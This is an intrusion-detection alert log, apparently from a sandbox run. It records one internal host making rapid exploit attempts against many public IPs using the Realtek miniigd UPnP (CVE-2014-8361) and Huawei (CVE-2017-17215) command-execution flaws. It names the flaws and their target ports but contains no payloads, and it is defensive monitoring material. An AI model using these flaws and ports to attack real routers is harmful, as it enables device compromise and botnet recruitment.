ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.236.237.70

Timestamp:	07/20/24-23:01:55.125263
SID:	2027339
Source Port:	55758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.173.140.141

Timestamp:	07/20/24-23:02:20.374641
SID:	2025132
Source Port:	38620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.50.46.65

Timestamp:	07/20/24-23:01:00.634292
SID:	2829579
Source Port:	51646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.122.120.5

Timestamp:	07/20/24-23:01:43.455918
SID:	2027339
Source Port:	36932
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.151.113.249

Timestamp:	07/20/24-23:01:44.520226
SID:	2831300
Source Port:	51562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.180.92

Timestamp:	07/20/24-23:01:20.110860
SID:	2835222
Source Port:	40532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.53.165.17

Timestamp:	07/20/24-23:01:27.651332
SID:	2835222
Source Port:	57714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.71.140.26

Timestamp:	07/20/24-23:01:43.810783
SID:	2027339
Source Port:	46080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.174.150.26

Timestamp:	07/20/24-23:00:59.191389
SID:	2829579
Source Port:	50398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 134.167.171.74

Timestamp:	07/20/24-23:01:08.667513
SID:	2831300
Source Port:	37132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.118.116.115

Timestamp:	07/20/24-23:01:43.107634
SID:	2025132
Source Port:	45970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.193.202.8

Timestamp:	07/20/24-23:01:43.697010
SID:	2831300
Source Port:	45262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.146.159.96

Timestamp:	07/20/24-23:01:56.999569
SID:	2027339
Source Port:	35682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.218.81.136

Timestamp:	07/20/24-23:01:56.510714
SID:	2027339
Source Port:	59026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.160.245

Timestamp:	07/20/24-23:01:40.331150
SID:	2835222
Source Port:	49640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.159.104.180

Timestamp:	07/20/24-23:02:04.133789
SID:	2025132
Source Port:	44138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.154.95.35

Timestamp:	07/20/24-23:01:40.320408
SID:	2829579
Source Port:	35718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.55.221.40

Timestamp:	07/20/24-23:01:02.479085
SID:	2027339
Source Port:	33450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.220.6.134

Timestamp:	07/20/24-23:01:25.549014
SID:	2027339
Source Port:	60312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.85.228.41

Timestamp:	07/20/24-23:01:07.036064
SID:	2835222
Source Port:	47242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.203.126.251

Timestamp:	07/20/24-23:01:41.648203
SID:	2831300
Source Port:	44442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.202.203.164

Timestamp:	07/20/24-23:01:46.109943
SID:	2831300
Source Port:	55062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.56.196.147

Timestamp:	07/20/24-23:01:13.976791
SID:	2027339
Source Port:	57122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.60.51.106

Timestamp:	07/20/24-23:02:02.751507
SID:	2027339
Source Port:	53576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.96.13.171

Timestamp:	07/20/24-23:01:42.729311
SID:	2831300
Source Port:	49758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.56.54.197

Timestamp:	07/20/24-23:01:45.458332
SID:	2027339
Source Port:	51990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.128.212.188

Timestamp:	07/20/24-23:01:24.889164
SID:	2835222
Source Port:	58690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.234.180.136

Timestamp:	07/20/24-23:01:41.947663
SID:	2027339
Source Port:	33434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.199.13.54

Timestamp:	07/20/24-23:01:43.328791
SID:	2025132
Source Port:	49800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.163.230.218

Timestamp:	07/20/24-23:01:44.859405
SID:	2831300
Source Port:	55328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.14.147.228

Timestamp:	07/20/24-23:01:55.384732
SID:	2027339
Source Port:	39072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.13.214.247

Timestamp:	07/20/24-23:01:47.562957
SID:	2027339
Source Port:	37252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.150.205.193

Timestamp:	07/20/24-23:01:53.354788
SID:	2831300
Source Port:	40962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.74.143.214

Timestamp:	07/20/24-23:01:59.377547
SID:	2831300
Source Port:	52764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.115.27.6

Timestamp:	07/20/24-23:01:04.178669
SID:	2027339
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.249.201.235

Timestamp:	07/20/24-23:01:25.187391
SID:	2025132
Source Port:	50668
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.225.154.233

Timestamp:	07/20/24-23:01:44.439012
SID:	2025132
Source Port:	48844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.221.242

Timestamp:	07/20/24-23:01:04.118165
SID:	2835222
Source Port:	33562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.61.104.107

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	37422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 194.242.148.126

Timestamp:	07/20/24-23:01:52.161851
SID:	2025132
Source Port:	50178
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.90.99.238

Timestamp:	07/20/24-23:01:53.059915
SID:	2027339
Source Port:	47832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.220.21.170

Timestamp:	07/20/24-23:01:57.762774
SID:	2025132
Source Port:	58250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.54.147.121

Timestamp:	07/20/24-23:01:04.114673
SID:	2835222
Source Port:	35562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.0.5.154

Timestamp:	07/20/24-23:01:02.690149
SID:	2027339
Source Port:	55002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.254.60.151

Timestamp:	07/20/24-23:01:50.863888
SID:	2025132
Source Port:	52352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 173.164.252.237

Timestamp:	07/20/24-23:01:04.039129
SID:	2835222
Source Port:	52762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.220.208.210

Timestamp:	07/20/24-23:01:49.743796
SID:	2027339
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.208.79.121

Timestamp:	07/20/24-23:01:20.591702
SID:	2027339
Source Port:	35926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.70.75.159

Timestamp:	07/20/24-23:01:42.702732
SID:	2027339
Source Port:	49674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.248.134.22

Timestamp:	07/20/24-23:01:48.386032
SID:	2027339
Source Port:	54594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.97.254.151

Timestamp:	07/20/24-23:01:53.357099
SID:	2027339
Source Port:	53504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.55.77.0

Timestamp:	07/20/24-23:01:47.931222
SID:	2027339
Source Port:	56994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.223.182.162

Timestamp:	07/20/24-23:01:01.285840
SID:	2027339
Source Port:	52268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.124.248.177

Timestamp:	07/20/24-23:01:14.146543
SID:	2025132
Source Port:	45488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 112.90.251.196

Timestamp:	07/20/24-23:01:24.867858
SID:	2829579
Source Port:	52758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.240.72.8

Timestamp:	07/20/24-23:01:45.331813
SID:	2831300
Source Port:	45648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.181.131.100

Timestamp:	07/20/24-23:01:41.305474
SID:	2025132
Source Port:	50966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.49.28.217

Timestamp:	07/20/24-23:01:08.598416
SID:	2027339
Source Port:	57734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.18.128

Timestamp:	07/20/24-23:01:04.050503
SID:	2829579
Source Port:	38012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.98.109.98

Timestamp:	07/20/24-23:01:08.652877
SID:	2027339
Source Port:	47380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 108.25.203.240

Timestamp:	07/20/24-23:01:11.820979
SID:	2835222
Source Port:	49194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.22.157.142

Timestamp:	07/20/24-23:01:53.524729
SID:	2027339
Source Port:	47114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.69.99

Timestamp:	07/20/24-23:01:34.045143
SID:	2835222
Source Port:	51032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.76.87.111

Timestamp:	07/20/24-23:01:32.076593
SID:	2829579
Source Port:	45364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.227.71.109

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	38422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.191.248.36

Timestamp:	07/20/24-23:01:00.633744
SID:	2829579
Source Port:	57288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.111.117.206

Timestamp:	07/20/24-23:01:46.241196
SID:	2831300
Source Port:	39282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.106.122.253

Timestamp:	07/20/24-23:01:12.807274
SID:	2027339
Source Port:	37612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.104.194.85

Timestamp:	07/20/24-23:01:57.388537
SID:	2831300
Source Port:	44252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 110.40.238.120

Timestamp:	07/20/24-23:01:44.944699
SID:	2025132
Source Port:	53900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.193.3.141

Timestamp:	07/20/24-23:01:25.715288
SID:	2027339
Source Port:	55744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.191.84.86

Timestamp:	07/20/24-23:01:45.034156
SID:	2025132
Source Port:	58954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.157.181.46

Timestamp:	07/20/24-23:01:41.318733
SID:	2025132
Source Port:	41494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.24.227.79

Timestamp:	07/20/24-23:01:57.169212
SID:	2027339
Source Port:	56148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.128.170.53

Timestamp:	07/20/24-23:01:14.090830
SID:	2829579
Source Port:	59924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.242.116.26

Timestamp:	07/20/24-23:01:44.788688
SID:	2027339
Source Port:	51846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.191.111.147

Timestamp:	07/20/24-23:01:46.032975
SID:	2027339
Source Port:	35288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.225.39

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	59674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.241.118.240

Timestamp:	07/20/24-23:01:31.331820
SID:	2831300
Source Port:	39354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.186.32.47

Timestamp:	07/20/24-23:01:41.370228
SID:	2025132
Source Port:	45868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.1.18.107

Timestamp:	07/20/24-23:01:42.175191
SID:	2027339
Source Port:	34602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.17.111.246

Timestamp:	07/20/24-23:01:24.739204
SID:	2027339
Source Port:	47310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.214.32.228

Timestamp:	07/20/24-23:01:49.703914
SID:	2027339
Source Port:	41410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.106.198.203

Timestamp:	07/20/24-23:01:49.075905
SID:	2027339
Source Port:	54498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.138.84.14

Timestamp:	07/20/24-23:01:44.124551
SID:	2027339
Source Port:	56988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.207.159

Timestamp:	07/20/24-23:00:57.222029
SID:	2835222
Source Port:	58950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.235.197.43

Timestamp:	07/20/24-23:01:08.578727
SID:	2027339
Source Port:	35996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.63.2.220

Timestamp:	07/20/24-23:01:10.691725
SID:	2025132
Source Port:	52688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.106.41.174

Timestamp:	07/20/24-23:01:21.139934
SID:	2831300
Source Port:	59082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.59.59.107

Timestamp:	07/20/24-23:01:47.410892
SID:	2027339
Source Port:	54372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.157.152.232

Timestamp:	07/20/24-23:01:46.450130
SID:	2831300
Source Port:	58138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.146.237.12

Timestamp:	07/20/24-23:02:11.743968
SID:	2025132
Source Port:	52868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.12.96.106

Timestamp:	07/20/24-23:02:04.592319
SID:	2025132
Source Port:	37212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.60.97.199

Timestamp:	07/20/24-23:01:01.292992
SID:	2025132
Source Port:	33712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.51.195

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	52842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.226.157

Timestamp:	07/20/24-23:01:40.290003
SID:	2835222
Source Port:	55552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.93.53.66

Timestamp:	07/20/24-23:01:24.862410
SID:	2829579
Source Port:	55724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.217.163.253

Timestamp:	07/20/24-23:01:46.844704
SID:	2831300
Source Port:	37406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 177.72.81.243

Timestamp:	07/20/24-23:01:59.154601
SID:	2831300
Source Port:	37598
Destination Port:	52869
Protocol:	TCP
